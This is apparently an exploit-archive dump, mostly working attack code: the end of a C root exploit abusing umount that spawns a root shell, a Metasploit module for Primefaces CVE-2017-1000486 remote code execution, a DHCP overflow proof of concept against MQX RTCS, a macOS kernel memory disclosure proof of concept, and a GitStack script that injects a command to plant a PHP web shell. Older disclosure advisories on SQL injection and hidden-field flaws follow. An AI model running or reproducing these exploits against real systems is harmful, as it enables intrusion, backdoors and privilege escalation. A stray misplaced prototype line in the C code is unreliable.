// Wait for pipe connection and output any result from mount.
          readDataLength=0;
          break;
        default:
          fprintf(stderr, "Logic error, state %d\n", escalationPhase);
          goto attemptEscalationCleanup;
      }
      if(moveLength) {
        memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
        readDataLength-=moveLength;
      }
    }
  }

attemptEscalationCleanup:
// Wait some time to avoid killing umount even when exploit was
// successful.
  sleep(1);
  close(childStdout);
// It is safe to kill the child as we did not wait for it to finish
// yet, so at least the zombie process is still here.
  kill(childPid, SIGKILL);
  pid_t waitedPid=waitpid(childPid, NULL, 0);
  assert(waitedPid==childPid);

  return(escalationSuccess);
}


/** This function invokes the shell specified via environment
 *  or the default shell "/bin/sh" when undefined. The function
 *  does not return on success.
 *  @return -1 on error
 */
int invokeShell(char *shellName) {
  if(!shellName)
    shellName=getenv("SHELL");
  if(!shellName)
    shellName="/bin/sh";
  char* shellArgs[]={shellName, NULL};
  execve(shellName, shellArgs, environ);
  fprintf(stderr, "Failed to launch shell %s\n", shellName);
  return(-1);
}

int main(int argc, char **argv) {
  char *programmName=argv[0];
  int exitStatus=1;

  if(getuid()==0) {
    fprintf(stderr, "%s: you are already root, invoking shell ...\n",
        programmName);
    invokeShell(NULL);
    return(1);
  }

  if(geteuid()==0) {
    struct stat statBuf;
    int result=stat("/proc/self/exe", &statBuf);
    assert(!result);
    if(statBuf.st_uid||statBuf.st_gid) {
      fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
          programmName);
      int handle=open("/proc/self/exe", O_RDONLY);
      fchown(handle, 0, 0);
      fchmod(handle, 04755);
      exit(0);
    }

    fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
        programmName);
    setresgid(0, 0, 0);
    setresuid(0, 0, 0);
    invokeShell(NULL);
    return(1);
  }

  for(int argPos=1; argPos<argc;) {
    char *argName=argv[argPos++];
    if(argPos==argc) {
      fprintf(stderr, "%s requires parameter\n", argName);
      return(1);
    }
    if(!strcmp("--Pid", argName)) {
      char *endPtr;
      namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
      if((errno)||(*endPtr)) {
        fprintf(stderr, "Invalid pid value\n");
        return(1);
      }
      killNamespacedProcessFlag=0;
    } else {
      fprintf(stderr, "Unknown argument %s\n", argName);
      return(1);
    }
  }

  fprintf(stderr, "%s: setting up environment ...\n", programmName);

  if(!osRelease) {
    if(detectOsRelease()) {
      fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
    }
  }

  umountPathname=findUmountBinaryPathname("/bin");
  if((!umountPathname)&&(getenv("PATH")))
    umountPathname=findUmountBinaryPathname(getenv("PATH"));
  if(!umountPathname) {
    fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
    goto preReturnCleanup;
  }
  fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
      umountPathname);

  pid_t nsPid=prepareNamespacedProcess();
  if(nsPid<0) {
    goto preReturnCleanup;
  }

// Gaining root can still fail due to ASLR creating additional
// path separators in memory addresses residing in area to be
// overwritten by buffer underflow. Retry regaining until this
// executable changes uid/gid.
  int escalateMaxAttempts=10;
  int excalateCurrentAttempt=0;
  while(excalateCurrentAttempt<escalateMaxAttempts) {
    excalateCurrentAttempt++;
    fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
        excalateCurrentAttempt, escalateMaxAttempts);

    attemptEscalation();

    struct stat statBuf;
    int statResult=stat("/proc/self/exe", &statBuf);
       int stat(const char *pathname, struct stat *buf);
    if(statResult) {
      fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
      break;
    }
    if(statBuf.st_uid==0) {
      fprintf(stderr, "Executable now root-owned\n");
      goto escalateOk;
    }
  }

  fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");

preReturnCleanup:
  if(namespacedProcessPid>0) {
    if(killNamespacedProcessFlag) {
      kill(namespacedProcessPid, SIGKILL);
    } else {
// We used an existing namespace or chroot to escalate. Remove
// the files created there.
      fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
    }
  }

  if(!exitStatus) {
    fprintf(stderr, "Cleanup completed, re-invoking binary\n");
    invokeShell("/proc/self/exe");
    exitStatus=1;
  }
  return(exitStatus);

escalateOk:
  exitStatus=0;
  goto preReturnCleanup;
}
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
    'Name'           => 'CVE-2017-1000486 Primefaces Remote Code Execution Exploit',
    'Description'    => %q{
          This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.
  },
    'Author'         => [ 'Bjoern Schuette' ],
    'License'        => MSF_LICENSE,
    'References'     =>
    [
      ['CVE', 'CVE-2017-1000486'],
      ['URL', 'http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
      ['URL', 'https://cryptosense.com/weak-encryption-flaw-in-primefaces/'],
      ['URL', 'http://schuette.se/2018/01/16/in-your-primeface/']
    ],
    'Privileged'     => true,
    'Payload'        =>
    {
      'Compat'      =>
      {
      'PayloadType' => 'cmd'
      }

    },
    'DefaultOptions' =>
    {
      'WfsDelay' => 30
    },
    'DisclosureDate' => 'Feb 15 2016',
    'Platform'       => ['unix', 'bsd', 'linux', 'osx', 'win'],
    'Arch'           => ARCH_CMD,
    'Targets'        => [
      [
      'Universal', {
      'Platform'   => ['unix', 'bsd', 'linux', 'osx', 'win'],
      'Arch'       => [ ARCH_CMD ],
      },
      ],
    ],
    'DefaultTarget' => 0))

    register_options([
      Opt::RPORT(80),
      OptString.new('PASSWORD', [ true , "The password to login", 'primefaces']),
      OptString.new('TARGETURI', [true, 'The base path to primefaces', '/javax.faces.resource/dynamiccontent.properties.xhtml'])  ,
      OptString.new('CMD', [ false , "Command to execute", '']),
    ])
  end

  def encrypt_el(password, payload)

    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
    iterationCount = 19

    cipher = OpenSSL::Cipher.new("DES")
    cipher.encrypt
    cipher.pkcs5_keyivgen password, salt, iterationCount

    ciphertext = cipher.update payload
    ciphertext << cipher.final
    return ciphertext

  end

  def http_send_command(cmd, payloadEL)
    uri = normalize_uri(target_uri.path)
    encrypted_payload = encrypt_el(datastore['PASSWORD'], payloadEL)
    encrypted_payload_base64 = Rex::Text.encode_base64(encrypted_payload)
    encrypted_payload_base64_url_encoded = Rex::Text.uri_encode(encrypted_payload_base64)

    # send the payload and execute command
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
      'pfdrt' => 'sc',
      'ln'  => 'primefaces',
      'pfdrid' => encrypted_payload_base64_url_encoded
      }
    })

    if res.nil?
      vprint_error("Connection timed out")
      fail_with(Failure::Unknown, "Failed to trigger the Enter button")
    end

    if res && res.headers && (res.code == 302 || res.code == 200)
      print_good("HTTP return code #{res.code}")
    else
      vprint_error(res.body)
      fail_with(Failure::Unknown, "#{peer} - Unknown error during execution")
    end
    return res
  end

  def exploit
    cmd=""
    if not datastore['CMD'].empty?
      cmd = datastore['CMD']
    else
      cmd = payload.encoded
    end
    payloadEL = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
    payloadEL << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
    payloadEL << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
    payloadEL << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
    payloadEL << '${session.getAttribute("scriptengine").eval('
    payloadEL << '"var os = java.lang.System.getProperty(\"os.name\");'
    payloadEL << 'var proc = null;'
    payloadEL << 'os.toLowerCase().contains(\"win\")? '
    payloadEL << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd
    payloadEL << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd
    payloadEL << 'var is = proc.getInputStream();'
    payloadEL << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
    payloadEL << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().close()}';

    vprint_status("Attempting to execute: #{cmd}")
    resp = http_send_command(cmd, payloadEL)
    print_line(resp.body.to_s)
    m = resp.body.to_s 
    if m.empty?
      print_error("This server may not be vulnerable")
    end
    return
  end

  def check
    var_a = rand_text_alpha_lower(4)
    payloadEL = "${facesContext.getExternalContext().setResponseHeader(\"primesecretchk\", %s" % var_a
    res = http_send_command(var_a, payloadEL)
    if res.headers
      if res.headers["primesecretchk"] == #{var_a}
        vprint_good("Victim evaluates EL expressions")
        return Exploit::CheckCode::Vulnerable
      end
    else
      vprint_error("Unable to determine due to a HTTP connection timeout")
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end

end
            
#!/usr/bin/python3
"""PoC for MQX RTCS code execution via DHCP options overflow.

This is just a quick hack to prove the vulnerability and was designed to run
on a private network with the target device.
"""

import datetime
import socket

def main():
    """Use a default valid DHCP packet to overwrite an event function pointer."""
    execute_addr = 0xFFFFFFFF
    exploit_pkt = bytearray.fromhex(' \
                    02 01 06 00 a5 d3 0b 2f 00 00 80 00 00 00 00 00 \
                    ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff \
                    ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 63 82 53 63 \
                    35 01 02 36 04 ff ff ff ff 01 04 ff ff ff 00 43 \
                    98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
                    00 00 00 00 00 ff ff ff ff ff')

    exploit_pkt[0x195:0x199] = execute_addr.to_bytes(4, byteorder='big')

    recv_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    recv_sock.bind(('', 67))

    send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    send_sock.bind(('', 68))

    send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

    while True:
        print("{}: Waiting for DHCP packet...".format(datetime.datetime.now()))
        # Transaction IDs need to match else RTCS will throw out the packet.
        data = recv_sock.recvfrom(1024)[0]
        exploit_pkt[4:8] = data[4:8]
        send_sock.sendto(exploit_pkt, ('<broadcast>', 68))
        print("{}: Transmitted 0x{:X} PC redirection packet.".format(
            datetime.datetime.now(), execute_addr))

if __name__ == "__main__":
    main()
            
/*
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.

There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:

__text:000000000002ACE0                 mov     eax, [rbx]                ; structure input buffer
__text:000000000002ACE2                 mov     rsi, [rdi+rax*8+0E48h]    ; rax is controlled -> rsi read OOB
__text:000000000002ACEA                 cmp     byte ptr [rsi+1DCh], 0    ; as long as this byte isn't NULL
__text:000000000002ACF1                 jz      short loc_2AD10
__text:000000000002ACF3                 add     rsi, 1E11h      ; void *  ; add this offset
__text:000000000002ACFA                 mov     edx, 1D8h       ; size_t
__text:000000000002ACFF                 mov     rdi, r14        ; void *
__text:000000000002AD02                 call    _memcpy                   ; copy to structure output buffer, will be returned to userspace

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer
// build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit

#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability

AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.

There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:

__text:000000000002ACE0                 mov     eax, [rbx]                ; structure input buffer
__text:000000000002ACE2                 mov     rsi, [rdi+rax*8+0E48h]    ; rax is controlled -> rsi read OOB
__text:000000000002ACEA                 cmp     byte ptr [rsi+1DCh], 0    ; as long as this byte isn't NULL
__text:000000000002ACF1                 jz      short loc_2AD10
__text:000000000002ACF3                 add     rsi, 1E11h      ; void *  ; add this offset
__text:000000000002ACFA                 mov     edx, 1D8h       ; size_t
__text:000000000002ACFF                 mov     rdi, r14        ; void *
__text:000000000002AD02                 call    _memcpy                   ; copy to structure output buffer, will be returned to userspace

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 8;
  *(uint64_t*)inputStruct = 0x12345678; // crash
  //*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory


  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
    conn,
    0x710,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  if (outputStructCnt > 20) {
    int n_leaked_ptrs = (outputStructCnt-7)/8;
    uint64_t* ptrs = (uint64_t*) (outputStruct+7);
    for (int i = 0; i < n_leaked_ptrs; i++) {
      printf("%016llx\n", ptrs[i]);
    }
  }
  return 0;
}
            
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
# Date: 18.01.2018
# Software Link: https://gitstack.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
#   
#1. Description
#  
#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
#
#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
# 
#2. Proof of Concept
#
import requests
from requests.auth import HTTPBasicAuth
import os
import sys

ip = '192.168.1.102'

# What command you want to execute
command = "whoami"

repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'

user_list = []

print "[+] Get user list"
try:
	r = requests.get("http://{}/rest/user/".format(ip))
	user_list = r.json()
	user_list.remove('everyone')
except:
	pass

if len(user_list) > 0:
	username = user_list[0]
	print "[+] Found user {}".format(username)
else:
	r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
	print "[+] Create user"
	
	if not "User created" in r.text and not "User already exist" in r.text:
		print "[-] Cannot create user"
		os._exit(0)

r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
	print "[+] Web repository already enabled"
else:
	print "[+] Enable web repository"
	r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
	if not "Web interface successfully enabled" in r.text:
		print "[-] Cannot enable web interface"
		os._exit(0)

print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()

if len(repository_list) > 0:
	repository = repository_list[0]['name']
	print "[+] Found repository {}".format(repository)
else:
	print "[+] Create repository"

	r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
	if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
		print "[-] Cannot create repository"
		os._exit(0)

print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))

if not "added to" in r.text and not "has already" in r.text:
	print "[-] Cannot add user to repository"
	os._exit(0)	

print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))

if not "everyone removed from rce" in r.text and not "not in list" in r.text:
	print "[-] Cannot remove access for anyone"
	os._exit(0)	

print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')
            
Invision Power Top Site List SQL Injection

Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 2.0 Alpha 3
Website: http://www.invisionpower.com/

BID: 9229 

Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface. 

Problem:
Invision Power Top Site List is vulnerable to an SQL injection vuln due to not properly sanitizing user input via the "offset" parameter. However, it may be very difficult to exploit this vuln. Compromise. 

Details:
The following GET request will trigger the SQL query syntax error .. 

index.php?offset=[%20Problem%20Here%20]
Error: Error executing query

The software returned the following error:

You have an error in your SQL syntax near '[ Problem Here ],20' at line 14

Query Executed: SELECT s.*,COUNT(DISTINCT c.id) as comment_count, AVG(v.value) 
as rating,COUNT(DISTINCT v.id) as num_votes,COUNT(DISTINCT me.id) as already_voted 
FROM tsl_sites AS s, tsl_users AS u, tsl_emails AS e LEFT JOIN tsl_categories AS 
cat ON cat.id = s.category LEFT JOIN tsl_votes AS v ON v.site = s.id LEFT JOIN 
tsl_ip_address AS ipa ON ipa.address = "24.119.123.100" LEFT JOIN tsl_ip_records 
AS ipr ON ipr.id = ipa.record LEFT JOIN tsl_votes AS me ON me.site = 
s.id && me.ip_record = ipr.id LEFT JOIN tsl_comments AS c ON c.site = s.id && 
c.admin_validate = 1 WHERE s.user = u.id && s.email = e.id && u.blocked = 0 && 
s.active = 1 && s.admin_validate = 1 && e.validated = 1 GROUP BY s.id ORDER BY 
out_count DESC, rating DESC, in_count DESC, name DESC LIMIT [ Problem Here ],20


Solution:
The Invision Team was very prompt and professional in getting back to me about this. Because of the difficulty of exploitation there will be no patch or immediate upgrade released. However the issue will be addressed in the next release of Invision Top Sites List. 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
DUWare Multiple Vulnerabilities

Vendor: DUWare
Product: DUWare
Version: Multiple Products
Website: http://www.duware.com/

BID: 9246 

Description:
DUportal Pro is a professional Web portal and online community. DUportal Pro contains numerous advanced features such as Web-based administration, Articles, Banner Ads, Event Calendar, Classified Ads, Web link directory, Downloads, Entertainment, Message Board, Picture Gallery, News, E-Commerce, Members Directory, Polls and Business Directory, and more which can be downloaded online. All modules are customizable via Web-based Admin panel, together with size, skins and themes. 

Problem:
Basically almost all, if not ALL of the products offered by DU Ware (www.duware.com) seem to have been done with an extremely minimal understanding and/or concern of security, and very important aspects of web security such as, but not limited to: Unique Session ID's, Input Validation, and many more. Their software relies HEAVILY on hidden tags, client side input validation, and security through obscurity. Examples of some of the consequences of this weakly implemented/nonexistent security are Script Execution, Arbitrary File Upload, Account Hijacking, Database Exposure, Query Tampering, Code Injection and Server Compromise. 

Remote File Upload:
Pretty much anywhere there are places to upload a picture, or file on DUPortal you can upload a script, or file of your liking. The only limits really are size. The only requirement to exploit this vulnerability is a web browser. Simply save the page to your hard drive, edit out all the client side validation and an attacker may upload any file they wish. This can allow for script execution on the host machine as well as host compromise. 

Script Execution:
Script execution in DU Software Products can take place in a number of ways. The most serious of these is by using the previously mentioned file upload vulnerability to upload any script of your liking. Using that particular method it is obviously not very hard to compromise the security of the entire host. Another way is by injecting script into items that have to be approved by the administrator of the portal. This can also be manipulated by tampering with the hidden form value by the name of "APPROVED". If the item you add requires approval by the administrator, then any code you inject into a particular item will be executed by the administrator unknowingly, thus allowing an attacker to carry out administrative functions via the admin. It is also possible for a user to inject script into their username value, as well as other components and have it executed in the browsers of the portals visitors. 

Account HiJacking:
Having an administrator execute commands and script for an attacker can be bad news, but needless to say it is even worse when an attacker can take over the administrative account, or any other account at will. This is not hard to do and only requires a browser and text editor to execute. Because DU Portal assigns no specific user session id, and relies on hidden fields to change information, it is simple to reset the password of ANY account in the DU Portal database. It is also possible to tamper with cookie data, and gain limited access to arbitrary accounts. 

Privilege Escalation:
When registering an account on a DU Portal installation, a malicious user is able to set themselves to any user level they like by altering the hidden form field value for "U_ACCESS" It is initially set to user, but anyone with a text editor and web browser can change this to admin. 

Query Tampering:
There is little input validation and/or sanitization in DU Portal, so tampering with database queries is not a difficult task. Below are a list of the affected components. 

search.asp
password.asp 
channel.asp 
register.asp 
type.asp 
detail.asp 
post.asp 
submit.asp 

This may not be all of them, but it should be most of them. Hopefully the list above will be incentive enough for the developer to secure all of the portal's components, including any not previously mentioned. 

Hidden Form Field Weakness: As I have mentioned before, this portal system relies HEAVILY on client side validation and especially on hidden form fields/values. By saving any number of pages of a DU Portal an editing an attacker can manipulate much data. Examples include but are not limited to: Administrative Action, Impersonating Other Users, Changing Shop Prices, Account Hi Jacking, and much more. 

Plain Text And Database Disclosure Weakness:
No passwords in the DU Portal database are encrypted. They are also shown in plain text in the admin panel. This is a problem because it can be used by an attacker or malicious administrator to compromise the integrity of users that have a bad habit of using the same password everywhere. The database by default is also available for download at the following location 

http://localhost/database/DUportal.mdb 

This can be avoided however by setting the proper permissions for the directory in which the database is located in or better yet move the entire database to an offline directory. 

Conclusion:
DU Ware offers a large variety of products, and most if not all are bundled into what is "DU Portal" so most of these vulns are present in all of their products. While they may be easy to set up and offer decent functionability it is advised not to install them until the vendor can implement better security into their products. The vendor was contacted, but does not plan on releasing any security patches for these issues. However they do plan to secure their applications in their products next version release. 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
Aardvark Topsites Multiple Vulnerabilities

Vendor: Aardvark Industries
Product: Aardvark Topsites
Version: <= 4.1.0
Website: http://www.aardvarkind.com/

BID: 9231 

Description:
Aardvark Topsites is a popular free PHP topsites script. See URL for details. 

Plaintext Database Pass Weakness:
The login info for the database being used by Aardvark topsites can be viewed in plaintext by anyone who has access to the admin panel. If an attacker can gain access to the admin panel he can then take control of the database that the Aardvark Topsites is using.lid forum number and to have read 

Information Disclosure Vulnerability:
By default phpinfo() for the server hosting an Aardvark Topsite can be viewed in the sources directory [ /sources/info.php ] An easy work around for this is quite obvious. If you do not need this file delete it. And if you do need it, then move it to a more secure location :) 

Path Disclosure Vulnerability:
There are multiple ways to disclose the full server path on an Aardvark Topsites. Most can be avoided by allowing visitors to the /sources/ directory. However, it is also possible by passing a null or invalid value to the "type" variable when viewing the graph feature. 

SQL Injection Vulnerability:
Tampering with SQL queries is possible via the "method" variable in display.php You can test if you are vulnerable by accessing the url below. 

http://topsitelocation/index.php?method=` 

Also, these are prone to tampering. While it would be hard to exploit, the following should have input validated/sanitized a little better. 

http://topsitelocation/index.php?a=lostpw&set=1&id=` 
http://topsitelocation/index.php?a=lostpw&set=1&session_id=` 

Solution:
Aardvark Industries were very prompt and professional in addressing these issues. You can now download Aardvark Topsites 4.1.1 which has new features along with the obvious security fixes. 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
IP.Board SQL Injection

Vendor: Invision Power Services
Product: IP.Board
Version: <= 2.0 Alpha 3
Website: http://www.invisionboard.com/

BID: 9232 

Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world. 

Problem:
Invision Power Board is vulnerable to an SQL Injection Vulnerability. All versions up to 2.0 Alpha 3 seem to be affected. Below is an example URL to test if you are vulnerable. 

/index.php?showforum=1&prune_day=100&sort_by=Z-A&sort_key=[Problem_Is_Here] 

If you are vulnerable (you should be) you will see an error message similar to the one posted below. The only requirement is to know a valid forum number and to have read access to that forum (must be able to view it). 

mySQL query error: SELECT * from ibf_topics WHERE forum_id=2 and approved=1 
and (last_post > 0 OR pinned=1) ORDER BY pinned DESC, [Problem_Is_Here] DESC 
LIMIT 0,15

mySQL error: You have an error in your SQL syntax near '[Problem_Is_Here] 
DESC LIMIT 0,15' at line 1

mySQL error code: 
Date: Saturday 13th of December 2003 01:25:30 AM

Solution:
Invision Power Services have released a fix for this issue. 
http://www.invisionboard.com/download/index.php?act=dl&s=1&id=12&p=1 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
ASPapp Multiple Vulnerabilities

Vendor: ASPapp.com
Product: ASPapp
Version: Multple Products
Website: http://www.aspapp.com/

BID: 9250 

Description:
A complete, easy-to-modify .asp portal system. With this portal you can manage users, content, links, files, forums, surveys, product catalog, shopping cart, PayPal or Authorize.net e-commerce, classifieds, calendar, downloads, images, surveys, faq's, news, and more. Currently it is one of the most popular .ASP scripts at HotScripts.com The below vulnerabilities also affect IntranetApp and ProjectApp, as the codebase is almost identical. 

Privilege Escalation Vulnerability:
When registering account a malicious user can set themselves to any user level they desire. The user level is determined by a hidden form field value titled "accesslevel". If a user sets themselves to the "Super Admin" level [4] they can pretty much take over the entire portal. They can also view other user's passes in plaintext via the "User Admin" feature by viewing the HTML source. This does not seem to be present in IntranetApp, but is present in PortalApp and ProjectApp. 

Account Hijacking Vulnerability:
Once again ASP App software relies on hidden form fields to determine user values. By changing the "user_id" field when editing their profile a malicious user can reset passwords for arbitrary accounts and edit their user info etc. This is present in all three applications. 

Cross Site Scripting:
XSS is possible on any page of an ASP APP Portal by appending the variable "msg" with a value of any script you would like to be run. This vulnerability also exists in all 3 applications. 

Code Injection Vulnerabilities:
There are a number of places to inject code and have it run by a user or an admin. These include but are not limited to the following. Injection vulnerabilities exist in forums.asp When posting a new message, script can be injected into the Title and into the message form fields. This is especially dangerous because the latest messages are posted on the main page of the website, therefore affecting all users. An Injection vulnerability exists in submit.asp. A malicious user can submit script instead of a link to be added to the website. This vuln affects the administrator when he prepares to accept or deny submissions. Injection vulnerabilities are present in the profile section of the website. By submitting script into the for fields of upd_user.asp (the profile update form) it will be run whenever someone views the affected profile.(user_public.asp) The form fields that are vulnerable are First Name, Last Name and Country. This vuln exists in all three of the previously mentioned ASP APP scripts. 

Plaintext Password Storage Weakness:
The username and password for the logged in user are stored as plaintext in the cookie, making cookie theft through an xss vuln even more dangerous. Also, a malicious admin can view a users password in plaintext by visiting the user administration page, and viewing the HTML source of a user. The users password will then be presented in plaintext. This vuln exists in all three of the previously mentioned ASP APP scripts. 

Solution:
The vendor plans on releasing a new version of these products at the end of the month to supposedly correct all of the security issues mentioned above. 

Credits:
James Bercegay And parag0d of the GulfTech Security Research Team.
            
AutoRank PHP SQL Injection

Vendor: JMB Software
Product: AutoRank PHP
Version: <= 2.0.4
Website: http://www.jmbsoft.com/

BID: 9251 

Description:
The description as taken from the Autorank website "AutoRank PHP is our next generation toplist software, written completely in PHP and backed by a MySQL database. This software has all the features of the Pro version, and we have added several more which make this the most advanced toplist software available today. We have combined the power and speed of PHP and MySQL to make AutoRank PHP extremely efficient and scalable. A complete list of features is available if you would like to jump right to that. Otherwise, you can continue on and find out why AutoRank PHP is the premier PHP toplist software available today." 

Problem:
Autorank PHP is vulnerable to SQL Injection attacks. The vulnerabilities can be exploited by injecting SQL queries into the user & password fields when editing an account, the email field when requesting a lost password and the username field when registering an account. If a malicious attacker logs in with the username and password '-- he will automatically be given access to the first account cataloged in the database. He can then view the HTML source code to view that users password in plain text. This also leaves the database being used by Autorank PHP open for attack. The affected file is accounts.php 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
